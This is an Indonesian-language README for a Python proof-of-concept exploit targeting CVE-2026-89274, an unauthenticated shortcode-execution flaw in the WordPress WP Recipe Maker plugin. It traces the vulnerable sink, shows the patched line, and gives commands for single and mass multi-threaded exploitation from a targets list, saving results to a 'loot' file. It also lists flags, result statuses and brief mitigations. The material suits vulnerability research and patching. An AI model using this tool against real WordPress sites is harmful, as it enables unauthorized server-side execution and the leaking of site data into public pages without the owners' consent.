
Python PoC exploit for CVE-2026-89274, an unauthenticated arbitrary shortcode execution vulnerability in WordPress WP Recipe Maker <= 10.8.1 via recipe comments.
Poloss : @WPEF0
Proof-of-Concept exploit untuk CVE-2026-89274 — kerentanan Unauthenticated Arbitrary Shortcode Execution pada plugin WordPress WP Recipe Maker versi ≤ 10.8.1.
⚠️ PERINGATAN HUKUM & ETIKA Script ini disediakan hanya untuk riset keamanan di lingkungan lokal (localhost/lab) dan tidak boleh digunakan terhadap sistem yang bukan milik Anda atau tanpa izin tertulis. Penulis tidak bertanggung jawab atas penyalahgunaan. Penggunaan terhadap sistem pihak ketiga tanpa otorisasi dapat melanggar hukum pidana.
| Field | Nilai |
|---|
| CVE ID | CVE-2026-89274 |
| Target | WP Recipe Maker (wp-recipe-maker) ≤ 10.8.1 |
| Kelas | Code Injection (CWE-94) — Arbitrary Shortcode Execution |
| CVSS v3.1 | 9.1 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| Vektor | Konten komentar resep (unauthenticated) |
| Sink | do_shortcode() pada class-wprm-metadata.php |
| Dampak | Eksekusi shortcode server-side → kebocoran data via JSON-LD publik |
| Author | Poloss |
includes/public/class-wprm-metadata.php :: sanitize_metadata()
Vulnerable (10.8.1):
$sanitized = strip_shortcodes( wp_strip_all_tags( do_shortcode( $metadata ) ) );
do_shortcode() mengeksekusi shortcode terlebih dahulu, lalu strip_shortcodes() hanya membersihkan output-nya — tidak ada proteksi sama sekali.
Patched (10.8.4):
$sanitized = strip_shortcodes( wp_strip_all_tags(
WPRM_Instacart::do_shortcode_safe( $metadata ) ) );
comment_content (komentar publik pada post resep)
└─> reviewBody (class-wprm-metadata.php:1017)
└─> $metadata['review'][] (line 1028)
└─> sanitize_metadata( get_metadata( $recipe ) ) (line 374)
└─> do_shortcode( $reviewBody ) ← SINK EKSEKUSI
└─> wp_json_encode() ke <script type="application/ld+json">
wprm-comment-rating (diisi via form komentar).git clone <repo-url>
cd <repo>
python3 -m venv .venv
source .venv/bin/activate # Windows: .venv\Scripts\activate
# Tidak ada dependensi eksternal — hanya standard library Python 3.
Persyaratan: Python 3.8+.
python3 CVE-2026-89274.py -u http://localhost:8080 -p 10 \
--shortcode '[wprm-recipe-name id=11]' \
--marker 'PoC Recipe'
Format targets.txt (satu per baris, url[,post_id]):
http://lab1.local,10
http://lab2.local,25
# baris komentar diabaikan
http://lab3.local,7
python3 CVE-2026-89274.py -f targets.txt -t 10 -o loot.json
| Flag | Default | Deskripsi |
|---|---|---|
-u, --url | — | URL target tunggal |
-f, --file | — | File daftar target (url[,post_id] per baris) |
-p, --post | 10 | ID post yang memuat resep |
-t, --threads | 5 | Jumlah worker thread |
-o, --output | cve-2026-89274-loot.json | File output JSON |
--shortcode | [wprm-recipe-name id=11] | Payload shortcode yang dieksekusi |
--marker | PoC Recipe | Substring pembuktian eksekusi di reviewBody |
--rating | 5 | Nilai rating WPRM |
--timeout | 25 | Timeout per-request (detik) |
<script type="application/ld+json">, kumpulkan reviewBody./wp-comments-post.php dengan payload + field wprm-comment-rating.--marker muncul di reviewBody → EXPLOITED. Jika belum → PENDING_APPROVAL.| Status | Arti |
|---|---|
EXPLOITED | Shortcode tereksekusi & output bocor ke JSON-LD publik |
PENDING_APPROVAL | Komentar terkirim, menunggu persetujuan moderator |
FAIL | Halaman tidak reachable / komentar ditolak / error |
[
{
"target": "http://localhost:8080",
"post_id": 10,
"shortcode": "[wprm-recipe-name id=11]",
"marker": "PoC Recipe",
"author": "poc1716000000",
"review_bodies": ["PoC Recipe"],
"status": "EXPLOITED",
"evidence": "PoC Recipe",
"note": "shortcode executed server-side; output leaked into public JSON-LD reviewBody",
"elapsed": 9.12
}
]
comment_moderation = 1 dan audit komentar secara ketat.[...]) pada field komentar..
├── CVE-2026-89274.py # exploit utama
└── README.md # dokumen ini